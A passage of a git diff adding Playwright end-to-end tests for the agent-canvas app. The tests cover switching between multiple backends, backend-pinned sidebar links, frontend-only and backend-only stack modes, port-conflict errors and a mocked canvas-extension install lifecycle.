+        const child = spawnAgentCanvas(["--backend-only"], beEnvA.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+    const beOutputB = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--backend-only"], beEnvB.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+    const feOutput = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--frontend-only"], feEnv.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+
+    // ── 2. Wait for all three to become ready ─────────────────────────
+    const feUrl = `http://localhost:${CROSS_FE_PORT}`;
+    const beUrlA = `http://localhost:${CROSS_BE_A_PORT}`;
+    const beUrlB = `http://localhost:${CROSS_BE_B_PORT}`;
+
+    const [feStatus, beStatusA, beStatusB] = await Promise.all([
+      pollUrl(`${feUrl}/`, 60_000),
+      pollUrl(`${beUrlA}/server_info`, 180_000),
+      pollUrl(`${beUrlB}/server_info`, 180_000),
+    ]);
+
+    expect(
+      feStatus,
+      `Frontend-only never ready.\nOutput: ${feOutput.get().slice(-500)}`,
+    ).toBe(200);
+    expect(
+      beStatusA,
+      `Backend A never ready.\nOutput: ${beOutputA.get().slice(-800)}`,
+    ).not.toBeNull();
+    expect(
+      beStatusB,
+      `Backend B never ready.\nOutput: ${beOutputB.get().slice(-800)}`,
+    ).not.toBeNull();
+
+    // ── 3. Verify both backends are independently reachable ───────────
+    const [infoA, infoB] = await Promise.all([
+      fetch(`${beUrlA}/server_info`).then((r) => r.json()),
+      fetch(`${beUrlB}/server_info`).then((r) => r.json()),
+    ]);
+    expect(infoA).toHaveProperty("version");
+    expect(infoB).toHaveProperty("version");
+    await Promise.all([
+      seedBackendAnalyticsConsent(beUrlA, beEnvA.sessionKey),
+      seedBackendAnalyticsConsent(beUrlB, beEnvB.sessionKey),
+    ]);
+
+    // ── 4. Open browser to the frontend-only instance ─────────────────
+    await suppressAnalytics(page);
+    await page.goto(feUrl, { waitUntil: "domcontentloaded" });
+
+    // The first-run onboarding backend step should appear before the
+    // Manage Backends recovery modal.
+    await expect(page.getByTestId("manage-backends-modal")).not.toBeVisible({
+      timeout: 1_000,
+    });
+
+    // ── 5. Add Backend A through onboarding ──────────────────────────
+    await addBackendViaOnboarding(page, {
+      name: "Backend A",
+      host: beUrlA,
+      apiKey: beEnvA.sessionKey,
+    });
+
+    await page.getByTestId("onboarding-skip").click();
+    await page.reload({ waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await expect(page.getByTestId("home-chat-launcher")).toBeVisible({
+      timeout: 20_000,
+    });
+
+    // ── 6. Add Backend B via the dropdown menu ────────────────────────
+    // Open the backend selector dropdown in the sidebar/footer
+    await page.getByTestId("backend-selector").click();
+    await page.getByTestId("add-backend-menu-item").click();
+
+    // The add-backend modal should appear
+    await expect(page.getByTestId("add-backend-modal")).toBeVisible({
+      timeout: 5_000,
+    });
+
+    // The modal defaults to the Cloud tab; switch to Agent-server to access
+    // the manual connection form.
+    await page.getByTestId("add-backend-option-agent-server").click();
+    await expect(
+      page.getByTestId("add-backend-agent-server-panel"),
+    ).toBeVisible({ timeout: 5_000 });
+
+    // Fill in Backend B details
+    const nameInput = page.getByTestId("add-backend-name");
+    await nameInput.click();
+    await nameInput.fill("Backend B");
+
+    const hostInput = page.getByTestId("add-backend-host");
+    await hostInput.click();
+    await hostInput.fill(beUrlB);
+
+    const keyInput = page.getByTestId("add-backend-api-key");
+    await keyInput.click();
+    await keyInput.fill(beEnvB.sessionKey);
+
+    await page.getByTestId("add-backend-submit").click();
+
+    // Wait for the modal to close (connection validated + saved)
+    await expect(page.getByTestId("add-backend-modal")).not.toBeVisible({
+      timeout: 15_000,
+    });
+
+    // ── 7. Switch to Backend B via the dropdown ───────────────────────
+    // The dropdown should now list both backends. Click Backend B.
+    await page.getByTestId("backend-selector").click();
+
+    // Find "Backend B" in the dropdown options and click it
+    const backendBOption = page.locator(
+      '[data-testid="backend-selector"] + [role="listbox"] [role="option"]',
+    );
+    // If the dropdown renders options differently, fall back to text match
+    const optionB = page.getByRole("option", { name: /Backend B/i });
+    if (await optionB.isVisible({ timeout: 2_000 }).catch(() => false)) {
+      await optionB.click();
+    } else {
+      // The dropdown may use a different structure — try the last option
+      const options = backendBOption;
+      const count = await options.count();
+      if (count > 0) {
+        // Click the option containing "Backend B"
+        for (let i = 0; i < count; i++) {
+          const text = await options.nth(i).textContent();
+          if (text?.includes("Backend B")) {
+            await options.nth(i).click();
+            break;
+          }
+        }
+      }
+    }
+
+    // ── 8. Verify the app works after switching ───────────────────────
+    // The page should reload or re-settle. Wait for the home UI to be
+    // visible, confirming Backend B is reachable.
+    await page.waitForLoadState("domcontentloaded", { timeout: 15_000 });
+    await dismissAnalyticsModal(page);
+    await expect(page.getByTestId("home-chat-launcher")).toBeVisible({
+      timeout: 20_000,
+    });
+
+    // ── 9. Verify both backends appear in the manage modal ────────────
+    await page.getByTestId("backend-selector").click();
+    await page.getByTestId("manage-backends-menu-item").click();
+    await expect(page.getByTestId("manage-backends-modal")).toBeVisible({
+      timeout: 5_000,
+    });
+
+    // Both backends should be listed
+    const list = page.getByTestId("manage-backends-list");
+    await expect(list.getByText("Backend A")).toBeVisible({ timeout: 5_000 });
+    await expect(list.getByText("Backend B")).toBeVisible({ timeout: 5_000 });
+  });
+});
+
+// ───────────────────────────────────────────────────────────────────────
+// 3. Sidebar links pin the backend that owns the conversation (#15573)
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("cross-connect: sidebar links pin their backend", () => {
+  const children: ChildProcess[] = [];
+  const stateDirs: string[] = [];
+
+  test.afterEach(async () => {
+    await Promise.all(children.map(killChild));
+    children.length = 0;
+    for (const dir of stateDirs) rmSync(dir, { recursive: true, force: true });
+    stateDirs.length = 0;
+  });
+
+  test("cmd-clicking a sidebar conversation opens it on the owning backend", async ({
+    page,
+    context,
+  }) => {
+    // Two backend-only instances via uvx — very slow
+    test.setTimeout(360_000);
+
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    // ── 1. Spawn both backends and the frontend ───────────────────────
+    const beEnvA = createIsolatedEnv(CROSS_BE_A_PORT);
+    const beEnvB = createIsolatedEnv(CROSS_BE_B_PORT);
+    const feEnv = createIsolatedEnv(CROSS_FE_PORT);
+    stateDirs.push(beEnvA.stateDir, beEnvB.stateDir, feEnv.stateDir);
+
+    const beOutputA = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--backend-only"], beEnvA.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+    const beOutputB = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--backend-only"], beEnvB.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+    const feOutput = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--frontend-only"], feEnv.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+
+    const feUrl = `http://localhost:${CROSS_FE_PORT}`;
+    const beUrlA = `http://localhost:${CROSS_BE_A_PORT}`;
+    const beUrlB = `http://localhost:${CROSS_BE_B_PORT}`;
+
+    const [feStatus, beStatusA, beStatusB] = await Promise.all([
+      pollUrl(`${feUrl}/`, 60_000),
+      pollUrl(`${beUrlA}/server_info`, 180_000),
+      pollUrl(`${beUrlB}/server_info`, 180_000),
+    ]);
+
+    expect(
+      feStatus,
+      `Frontend-only never ready.\nOutput: ${feOutput.get().slice(-500)}`,
+    ).toBe(200);
+    expect(
+      beStatusA,
+      `Backend A never ready.\nOutput: ${beOutputA.get().slice(-800)}`,
+    ).not.toBeNull();
+    expect(
+      beStatusB,
+      `Backend B never ready.\nOutput: ${beOutputB.get().slice(-800)}`,
+    ).not.toBeNull();
+
+    await Promise.all([
+      seedBackendAnalyticsConsent(beUrlA, beEnvA.sessionKey),
+      seedBackendAnalyticsConsent(beUrlB, beEnvB.sessionKey),
+    ]);
+
+    // ── 2. Seed a conversation that exists ONLY on backend A ──────────
+    const conversationId = await seedConversation(beUrlA, beEnvA.sessionKey);
+
+    // The whole bug depends on this id being unresolvable on B.
+    const onB = await fetch(`${beUrlB}/api/conversations/${conversationId}`, {
+      headers: { "X-Session-API-Key": beEnvB.sessionKey },
+    });
+    expect(onB.status, "seeded conversation must not exist on backend B").toBe(
+      404,
+    );
+
+    // ── 3. Onboard the frontend onto backend A ────────────────────────
+    await suppressAnalytics(page);
+    await page.goto(feUrl, { waitUntil: "domcontentloaded" });
+
+    await addBackendViaOnboarding(page, {
+      name: "Backend A",
+      host: beUrlA,
+      apiKey: beEnvA.sessionKey,
+    });
+    await page.getByTestId("onboarding-skip").click();
+    await page.reload({ waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await expect(page.getByTestId("home-chat-launcher")).toBeVisible({
+      timeout: 20_000,
+    });
+
+    // ── 4. Register backend B too ─────────────────────────────────────
+    await addBackendViaDropdown(page, {
+      name: "Backend B",
+      host: beUrlB,
+      apiKey: beEnvB.sessionKey,
+    });
+
+    const backendAId = await readBackendIdByHost(page, beUrlA);
+    expect(backendAId, "backend A should be in the registry").toBeTruthy();
+
+    // Adding a backend auto-switches to it (@spec BM-001), so put tab 1
+    // back on A — that is the tab the user cmd-clicks from.
+    await switchBackendViaSelector(page, "Backend A");
+    await expect
+      .poll(() => readActiveBackendId(page, "session"), {
+        message: "tab 1 should be back on backend A",
+        timeout: 20_000,
+      })
+      .toBe(backendAId);
+
+    // ── 5. Reproduce the cross-tab precondition ───────────────────────
+    // The active backend is tab-scoped: reads prefer sessionStorage and
+    // fall back to localStorage. Selecting B in a second tab leaves
+    // localStorage naming B while tab 1's sessionStorage still says A —
+    // and a cmd-clicked tab starts with empty sessionStorage, so it
+    // boots from that localStorage fallback.
+    const otherTab = await context.newPage();
+    await suppressAnalytics(otherTab);
+    await otherTab.goto(feUrl, { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(otherTab);
+
+    await switchBackendViaSelector(otherTab, "Backend B");
+
+    await expect
+      .poll(() => readActiveBackendId(otherTab, "local"), {
+        message: "localStorage should now point at backend B",
+        timeout: 20_000,
+      })
+      .not.toBe(backendAId);
+
+    // Tab 1 must be unaffected — that asymmetry is the whole bug.
+    expect(
+      await readActiveBackendId(page, "session"),
+      "tab 1's session-scoped backend should still be A",
+    ).toBe(backendAId);
+
+    // ── 6. Cmd-click the conversation in tab 1's sidebar ──────────────
+    await page.bringToFront();
+    // Match on the conversation id in the href rather than the title: the
+    // agent-server assigns its own generated title.
+    const card = page
+      .getByTestId("conversation-panel")
+      .locator(`a[href*="${conversationId}"]`)
+      .first();
+    await expect(card).toBeVisible({ timeout: 20_000 });
+
+    const href = await card.getAttribute("href");
+
+    const newTabPromise = context.waitForEvent("page");
+    await card.click({ modifiers: ["ControlOrMeta"] });
+    const newTab = await newTabPromise;
+
+    // ── 7. The new tab must resolve the conversation on backend A ─────
+    // A freshly opened tab starts at about:blank, so wait for the real
+    // navigation before reading the URL.
+    await newTab.waitForURL(/\/conversations\//, { timeout: 30_000 });
+    await newTab.waitForLoadState("domcontentloaded", { timeout: 20_000 });
+    await dismissAnalyticsModal(newTab);
+
+    // The user-visible symptom: resolved against B the id 404s, so the
+    // route toasts CONVERSATION$NOT_EXIST_OR_NO_PERMISSION and redirects
+    // to /conversations. Staying put means it resolved against A.
+    await expect
+      .poll(() => new URL(newTab.url()).pathname, {
+        message:
+          "new tab should open the conversation on its owning backend, not bounce home",
+        timeout: 20_000,
+      })
+      .toBe(`/conversations/${conversationId}`);
+
+    await expect(newTab.getByTestId("chat-interface")).toBeVisible({
+      timeout: 30_000,
+    });
+
+    // ── 8. And the mechanism: the link named the owning backend ───────
+    expect(
+      new URL(href ?? "", feUrl).searchParams.get("backend"),
+      "sidebar link should pin backend A",
+    ).toBe(backendAId);
+  });
+});
diff --git a/tests/e2e/mock-llm/backends/mock-llm-partial-stack.spec.ts b/tests/e2e/mock-llm/backends/mock-llm-partial-stack.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..43fbf4b90bc85ef065ef3802c2e20991cc3eee20
--- /dev/null
+++ b/tests/e2e/mock-llm/backends/mock-llm-partial-stack.spec.ts
@@ -0,0 +1,422 @@
+/**
+ * Mock-LLM E2E tests for partial stack modes (--frontend-only, --backend-only)
+ * and port conflict handling.
+ *
+ * These tests spawn `bin/agent-canvas.mjs` with partial-stack flags and verify:
+ *   1. --frontend-only: static frontend is served, backend APIs return 503
+ *   2. --backend-only: backend APIs work, frontend root returns 503
+ *   3. Port conflict: binary fails with a clear error when the port is busy,
+ *      then succeeds when a free port is used
+ *
+ * Unlike the other mock-llm specs these tests do NOT rely on the webServer
+ * entries in playwright.mock-llm.config.ts — they manage their own child
+ * processes so each test controls exactly which flags are passed.
+ */
+
+import { test, expect } from "@playwright/test";
+import { spawn, type ChildProcess } from "node:child_process";
+import { randomBytes } from "node:crypto";
+import { existsSync, mkdtempSync, rmSync } from "node:fs";
+import { createServer, type Server } from "node:net";
+import { tmpdir } from "node:os";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+import {
+  FRONTEND_ONLY_INGRESS_PORT,
+  FRONTEND_ONLY_URL,
+  BACKEND_ONLY_INGRESS_PORT,
+  BACKEND_ONLY_URL,
+  seedLocalStorage,
+} from "../utils/mock-llm-helpers";
+
+// ── Paths ──────────────────────────────────────────────────────────────
+const PROJECT_ROOT = resolve(
+  dirname(fileURLToPath(import.meta.url)),
+  "../../../..",
+);
+const BIN = join(PROJECT_ROOT, "bin/agent-canvas.mjs");
+
+// ── Helpers ────────────────────────────────────────────────────────────
+
+/** Spawn `bin/agent-canvas.mjs` with the given CLI flags and env overrides. */
+function spawnAgentCanvas(
+  flags: string[],
+  env: Record<string, string> = {},
+): ChildProcess {
+  const child = spawn("node", [BIN, ...flags], {
+    cwd: PROJECT_ROOT,
+    env: {
+      ...process.env,
+      // Suppress analytics in child processes
+      VITE_DO_NOT_TRACK: "1",
+      VITE_ENABLE_BROWSER_TOOLS: "false",
+      ...env,
+    },
+    stdio: ["ignore", "pipe", "pipe"],
+  });
+  return child;
+}
+
+/** Collect stdout + stderr from a child process into a buffer. */
+function collectOutput(child: ChildProcess): { get(): string } {
+  let buf = "";
+  child.stdout?.on("data", (chunk: Buffer) => {
+    buf += chunk.toString();
+  });
+  child.stderr?.on("data", (chunk: Buffer) => {
+    buf += chunk.toString();
+  });
+  return { get: () => buf };
+}
+
+/** Wait for a child process to exit within a timeout. */
+async function waitForExit(
+  child: ChildProcess,
+  timeoutMs = 15_000,
+): Promise<{ code: number | null; signal: string | null; timedOut: boolean }> {
+  return new Promise((resolve) => {
+    const timer = setTimeout(() => {
+      resolve({ code: null, signal: null, timedOut: true });
+    }, timeoutMs);
+
+    child.on("exit", (code, signal) => {
+      clearTimeout(timer);
+      resolve({ code, signal, timedOut: false });
+    });
+  });
+}
+
+/**
+ * Poll a URL until it returns a non-5xx response or timeout.
+ * Returns the HTTP status or null if the service never became ready.
+ */
+async function pollUrl(
+  url: string,
+  timeoutMs = 120_000,
+  intervalMs = 1_000,
+): Promise<number | null> {
+  const deadline = Date.now() + timeoutMs;
+  while (Date.now() < deadline) {
+    try {
+      const resp = await fetch(url, {
+        signal: AbortSignal.timeout(2_000),
+      });
+      // Treat 502/503/504 as "not ready yet" — the ingress can proxy but
+      // the upstream service hasn't started. Only return on a real response.
+      if (resp.status < 500) return resp.status;
+    } catch {
+      // Connection refused — service not ready yet
+    }
+    await new Promise((r) => setTimeout(r, intervalMs));
+  }
+  return null;
+}
+
+/** Create an isolated state dir + session key for a child stack instance. */
+function createIsolatedEnv(
+  ingressPort: string,
+  extra: Record<string, string> = {},
+): { env: Record<string, string>; stateDir: string } {
+  const stateDir = mkdtempSync(join(tmpdir(), "partial-stack-"));
+  const sessionKey = randomBytes(32).toString("hex");
+  return {
+    stateDir,
+    env: {
+      OH_CANVAS_SAFE_STATE_DIR: stateDir,
+      PORT: ingressPort,
+      LOCAL_BACKEND_API_KEY: sessionKey,
+      // Use isolated ports for backend services (high ports unlikely to collide)
+      OH_CANVAS_SAFE_BACKEND_PORT: String(parseInt(ingressPort) + 1),
+      OH_CANVAS_SAFE_AUTOMATION_PORT: String(parseInt(ingressPort) + 2),
+      OH_CANVAS_SAFE_VITE_PORT: String(parseInt(ingressPort) + 3),
+      // Isolated key file so we don't touch ~/.openhands
+      OH_SESSION_API_KEY_PATH: join(stateDir, "session-key.txt"),
+      ...extra,
+    },
+  };
+}
+
+/** Gracefully kill a child process and wait for it to exit. */
+async function killChild(child: ChildProcess): Promise<void> {
+  if (child.exitCode !== null) return; // already exited
+  child.kill("SIGTERM");
+  await new Promise<void>((resolve) => {
+    const timer = setTimeout(() => {
+      child.kill("SIGKILL");
+      resolve();
+    }, 5_000);
+    child.on("exit", () => {
+      clearTimeout(timer);
+      resolve();
+    });
+  });
+}
+
+/** Block a TCP port and return the server handle. */
+function blockPort(port: number): Promise<Server> {
+  return new Promise((resolve, reject) => {
+    const server = createServer();
+    server.listen(port, "127.0.0.1", () => resolve(server));
+    server.on("error", reject);
+  });
+}
+
+// ═══════════════════════════════════════════════════════════════════════
+// Tests
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe.configure({ mode: "serial" });
+
+// ───────────────────────────────────────────────────────────────────────
+// 1. Frontend-only mode
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("partial stack: --frontend-only", () => {
+  let child: ChildProcess;
+  let stateDir: string;
+
+  test.afterEach(async () => {
+    if (child) await killChild(child);
+    if (stateDir) rmSync(stateDir, { recursive: true, force: true });
+  });
+
+  test("serves the frontend but returns 503 for backend routes", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(60_000);
+
+    // These tests spawn bin/agent-canvas.mjs locally, which needs a
+    // pre-built frontend. Skip when running in Docker-only CI (no local build).
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    const isolated = createIsolatedEnv(FRONTEND_ONLY_INGRESS_PORT);
+    stateDir = isolated.stateDir;
+    const output = collectOutput(
+      (child = spawnAgentCanvas(["--frontend-only"], isolated.env)),
+    );
+
+    // Wait for the ingress to start serving
+    const rootStatus = await pollUrl(`${FRONTEND_ONLY_URL}/`, 60_000);
+    expect(
+      rootStatus,
+      `Frontend-only ingress never became ready.\nOutput: ${output.get().slice(-500)}`,
+    ).toBe(200);
+
+    // Verify: root returns HTML (the static frontend)
+    const rootResp = await request.get(`${FRONTEND_ONLY_URL}/`);
+    expect(rootResp.status()).toBe(200);
+    const html = await rootResp.text();
+    expect(html).toContain("<!DOCTYPE html");
+
+    // Verify: backend API routes return 503 because the static server
+    // rejects known API prefixes via --reject-prefix when no backend
+    // is configured (frontend-only mode).
+    const serverInfoResp = await request.get(
+      `${FRONTEND_ONLY_URL}/server_info`,
+      { failOnStatusCode: false },
+    );
+    expect(serverInfoResp.status()).toBe(503);
+
+    const settingsResp = await request.get(
+      `${FRONTEND_ONLY_URL}/api/settings`,
+      { failOnStatusCode: false },
+    );
+    expect(settingsResp.status()).toBe(503);
+
+    const automationResp = await request.get(
+      `${FRONTEND_ONLY_URL}/api/automation/v1`,
+      { failOnStatusCode: false },
+    );
+    expect(automationResp.status()).toBe(503);
+
+    // Verify: browser loads the app and shows "agent server unavailable"
+    // because the /server_info probe fails with 503.
+    await seedLocalStorage(page);
+    await page.goto(FRONTEND_ONLY_URL, { waitUntil: "domcontentloaded" });
+
+    // The app should detect the missing backend and show the manage-backends
+    // modal or an equivalent unavailable notice.
+    await expect(
+      page.getByTestId("manage-backends-modal"),
+    ).toBeVisible({ timeout: 15_000 });
+  });
+});
+
+// ───────────────────────────────────────────────────────────────────────
+// 2. Backend-only mode
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("partial stack: --backend-only", () => {
+  let child: ChildProcess;
+  let stateDir: string;
+
+  test.afterEach(async () => {
+    if (child) await killChild(child);
+    if (stateDir) rmSync(stateDir, { recursive: true, force: true });
+  });
+
+  test("serves backend APIs but returns 503 for the frontend root", async ({
+    request,
+  }) => {
+    // Backend-only needs uvx → agent-server + automation startup: allow 3 min
+    test.setTimeout(180_000);
+
+    const isolated = createIsolatedEnv(BACKEND_ONLY_INGRESS_PORT);
+    stateDir = isolated.stateDir;
+    const sessionKey = isolated.env.LOCAL_BACKEND_API_KEY;
+    const output = collectOutput(
+      (child = spawnAgentCanvas(["--backend-only"], isolated.env)),
+    );
+
+    // Wait for agent-server to be ready through the ingress
+    const serverInfoStatus = await pollUrl(
+      `${BACKEND_ONLY_URL}/server_info`,
+      150_000,
+    );
+    expect(
+      serverInfoStatus,
+      `Backend-only agent-server never became ready.\nOutput: ${output.get().slice(-800)}`,
+    ).not.toBeNull();
+
+    // Wait for automation backend to also be ready (starts independently,
+    // may lag behind the agent-server).
+    const automationStatus = await pollUrl(
+      `${BACKEND_ONLY_URL}/api/automation/v1`,
+      60_000,
+    );
+    expect(
+      automationStatus,
+      `Backend-only automation never became ready.\nOutput: ${output.get().slice(-800)}`,
+    ).not.toBeNull();
+
+    // Verify: /server_info returns 200 (agent-server running)
+    const serverInfoResp = await request.get(
+      `${BACKEND_ONLY_URL}/server_info`,
+    );
+    expect(serverInfoResp.status()).toBe(200);
+    const serverInfo = await serverInfoResp.json();
+    expect(serverInfo).toHaveProperty("version");
+
+    // Verify: /api/settings is reachable (may return 401 without key, but not 503)
+    const settingsResp = await request.get(
+      `${BACKEND_ONLY_URL}/api/settings`,
+      {
+        headers: { "X-Session-API-Key": sessionKey },
+        failOnStatusCode: false,
+      },
+    );
+    expect(settingsResp.status()).not.toBe(503);
+
+    // Verify: automation backend is also running and reachable
+    const automationResp = await request.get(
+      `${BACKEND_ONLY_URL}/api/automation/v1`,
+      { failOnStatusCode: false },
+    );
+    expect([200, 401]).toContain(automationResp.status());
+
+    // Verify: frontend root returns 503 (no default backend in ingress)
+    const rootResp = await request.get(`${BACKEND_ONLY_URL}/`, {
+      failOnStatusCode: false,
+    });
+    expect(rootResp.status()).toBe(503);
+
+    // Verify: a random static-asset-like path also returns 503
+    const assetResp = await request.get(
+      `${BACKEND_ONLY_URL}/assets/index.js`,
+      { failOnStatusCode: false },
+    );
+    expect(assetResp.status()).toBe(503);
+  });
+});
+
+// ───────────────────────────────────────────────────────────────────────
+// 3. Port conflict handling
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("partial stack: port conflict", () => {
+  let child: ChildProcess;
+  let blocker: Server | null = null;
+  let stateDir: string;
+
+  test.afterEach(async () => {
+    if (child) await killChild(child);
+    if (blocker) {
+      await new Promise<void>((r) => blocker!.close(() => r()));
+      blocker = null;
+    }
+    if (stateDir) rmSync(stateDir, { recursive: true, force: true });
+  });
+
+  test("fails with a clear error when the ingress port is occupied", async () => {
+    test.setTimeout(30_000);
+
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    const conflictPort = 18330;
+
+    // Block the port with a dummy TCP server
+    blocker = await blockPort(conflictPort);
+
+    const isolated = createIsolatedEnv(String(conflictPort));
+    stateDir = isolated.stateDir;
+    const output = collectOutput(
+      (child = spawnAgentCanvas(["--frontend-only"], isolated.env)),
+    );
+
+    // The process should exit non-zero because the port is busy
+    const result = await waitForExit(child, 20_000);
+
+    expect(result.timedOut, "Process should exit promptly on port conflict").toBe(
+      false,
+    );
+    expect(result.code, "Process should exit non-zero on port conflict").not.toBe(
+      0,
+    );
+
+    // The error message should mention the blocked port
+    const text = output.get();
+    expect(text).toMatch(
+      new RegExp(`(port\\s+${conflictPort}|${conflictPort}.*in use|EADDRINUSE)`, "i"),
+    );
+  });
+
+  test("starts successfully on a free port after a conflict", async ({
+    request,
+  }) => {
+    test.setTimeout(60_000);
+
+    // Use a port that is NOT blocked — frontend-only starts fast (no uvx)
+    const freePort = 18331;
+
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    const isolated = createIsolatedEnv(String(freePort));
+    stateDir = isolated.stateDir;
+    const output = collectOutput(
+      (child = spawnAgentCanvas(["--frontend-only"], isolated.env)),
+    );
+
+    const freeUrl = `http://localhost:${freePort}`;
+    const rootStatus = await pollUrl(`${freeUrl}/`, 30_000);
+    expect(
+      rootStatus,
+      `Frontend-only on free port never became ready.\nOutput: ${output.get().slice(-500)}`,
+    ).toBe(200);
+
+    // Verify it actually serves content
+    const rootResp = await request.get(`${freeUrl}/`);
+    expect(rootResp.status()).toBe(200);
+    const html = await rootResp.text();
+    expect(html).toContain("<!DOCTYPE html");
+  });
+});
diff --git a/tests/e2e/mock-llm/canvas-extensions/mock-llm-canvas-extensions.spec.ts b/tests/e2e/mock-llm/canvas-extensions/mock-llm-canvas-extensions.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..166a6689aed4746358ab97ead1c48334f8617884
--- /dev/null
+++ b/tests/e2e/mock-llm/canvas-extensions/mock-llm-canvas-extensions.spec.ts
@@ -0,0 +1,235 @@
+/**
+ * Mock-LLM E2E test: Apps lifecycle through the production build.
+ *
+ * Drives the real agent-canvas stack (pre-built static frontend, ingress,
+ * backend registry, session auth) through the full extension lifecycle:
+ *
+ *   1. Install from a source path → lands disabled, no sidebar item
+ *   2. Enable behind the trust confirmation → the sidebar item appears and the
+ *      contributed page renders at /extensions/{name}/{path}, including a
+ *      nested remainder path
+ *   3. Disable → the sidebar item and the page are torn down
+ *   4. Uninstall → the inventory is empty
+ *
+ * This is the only test that imports an extension bundle in a real browser
+ * (Blob-URL ESM import in `canvas-extension-module-loader.ts`); the unit
+ * tests inject a module loader stub instead.
+ *
+ * The pinned agent-server predates the `/api/canvas-extensions` endpoints
+ * (software-agent-sdk#4395), so `serveCanvasExtensionApi` answers them at the
+ * browser level from the checked-in demo fixture. Once the pin includes the
+ * endpoints, delete that helper and install the fixture by absolute path —
+ * the UI steps below stay unchanged.
+ */
+
+import { readFileSync } from "fs";
+import { join, resolve } from "path";
+import { test, expect, type Page } from "@playwright/test";
+import {
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForPath,
+  waitForTestId,
+} from "../utils/mock-llm-helpers";
+
+const DEMO_SOURCE = "src/fixtures/canvas-extensions/demo-page";
+const FIXTURE_DIR = resolve(DEMO_SOURCE);
+const manifest = JSON.parse(
+  readFileSync(join(FIXTURE_DIR, "canvas-extension.json"), "utf8"),
+) as { name: string; version: string; description: string };
+const bundle = readFileSync(join(FIXTURE_DIR, "extension.js"), "utf8");
+
+const CARD = `canvas-extension-card-${manifest.name}`;
+const SIDEBAR_ITEM = `sidebar-canvas-extension-${manifest.name}-hello`;
+const PAGE_PATH = `/extensions/${manifest.name}/hello`;
+const EMPTY_INVENTORY_TEXT = "No apps are installed on this backend.";
+
+/** In-memory installation state shared by the serial steps below. */
+let installed: Record<string, unknown> | null = null;
+
+/**
+ * Serve the Canvas Extension API contract from the demo fixture. Registered
+ * after `routeSessionApiKey` so it takes precedence for these routes only;
+ * every other request still reaches the real stack.
+ */
+async function serveCanvasExtensionApi(page: Page) {
+  await page.route("**/api/canvas-extensions/**", async (route) => {
+    const request = route.request();
+    const method = request.method();
+    const path = new URL(request.url()).pathname.replace(
+      /^.*\/api\/canvas-extensions/,
+      "",
+    );
+    const json = (status: number, body: unknown) =>
+      route.fulfill({
+        status,
+        contentType: "application/json",
+        body: JSON.stringify(body),
+      });
+
+    if (method === "GET" && path === "/installed") {
+      return json(200, { canvas_extensions: installed ? [installed] : [] });
+    }
+    if (method === "POST" && path === "/install") {
+      const body = request.postDataJSON() as {
+        source: string;
+        ref?: string | null;
+        repo_path?: string | null;
+      };
+      installed = {
+        name: manifest.name,
+        version: manifest.version,
+        description: manifest.description,
+        enabled: false,
+        source: body.source,
+        requested_ref: body.ref ?? null,
+        resolved_ref: body.ref || "e2e-working-tree",
+        repo_path: body.repo_path ?? null,
+        installed_at: new Date().toISOString(),
+        install_path: `/e2e/canvas-extensions/${manifest.name}`,
+        manifest,
+      };
+      return json(200, installed);
+    }
+    if (!installed) {
+      return json(404, {
+        detail: `Canvas extension '${manifest.name}' is not installed.`,
+      });
+    }
+    if (method === "GET" && path === `/installed/${manifest.name}/bundle`) {
+      return route.fulfill({
+        status: 200,
+        contentType: "application/javascript; charset=utf-8",
+        body: bundle,
+      });
+    }
+    if (path === `/installed/${manifest.name}`) {
+      if (method === "GET") return json(200, installed);
+      if (method === "PATCH") {
+        const { enabled } = request.postDataJSON() as { enabled: boolean };
+        installed = { ...installed, enabled };
+        return json(200, { name: manifest.name, enabled });
+      }
+      if (method === "DELETE") {
+        installed = null;
+        return json(200, { message: "Canvas extension uninstalled." });
+      }
+    }
+    return json(404, { detail: `Unhandled ${method} ${path}` });
+  });
+}
+
+async function openAppsPage(page: Page) {
+  await page.goto("/apps", { waitUntil: "domcontentloaded" });
+  await dismissAnalyticsModal(page);
+  await waitForTestId(page, "canvas-extensions-screen");
+}
+
+function cardToggle(page: Page) {
+  return page.getByTestId(CARD).getByRole("switch");
+}
+
+function extensionPage(page: Page) {
+  return page.getByRole("main", { name: "Hello from an extension" });
+}
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("Apps lifecycle", () => {
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+    await routeSessionApiKey(page);
+    await serveCanvasExtensionApi(page);
+  });
+
+  test.afterAll(() => {
+    installed = null;
+  });
+
+  test("step 1: install from a source path lands disabled with no sidebar item", async ({
+    page,
+  }) => {
+    await openAppsPage(page);
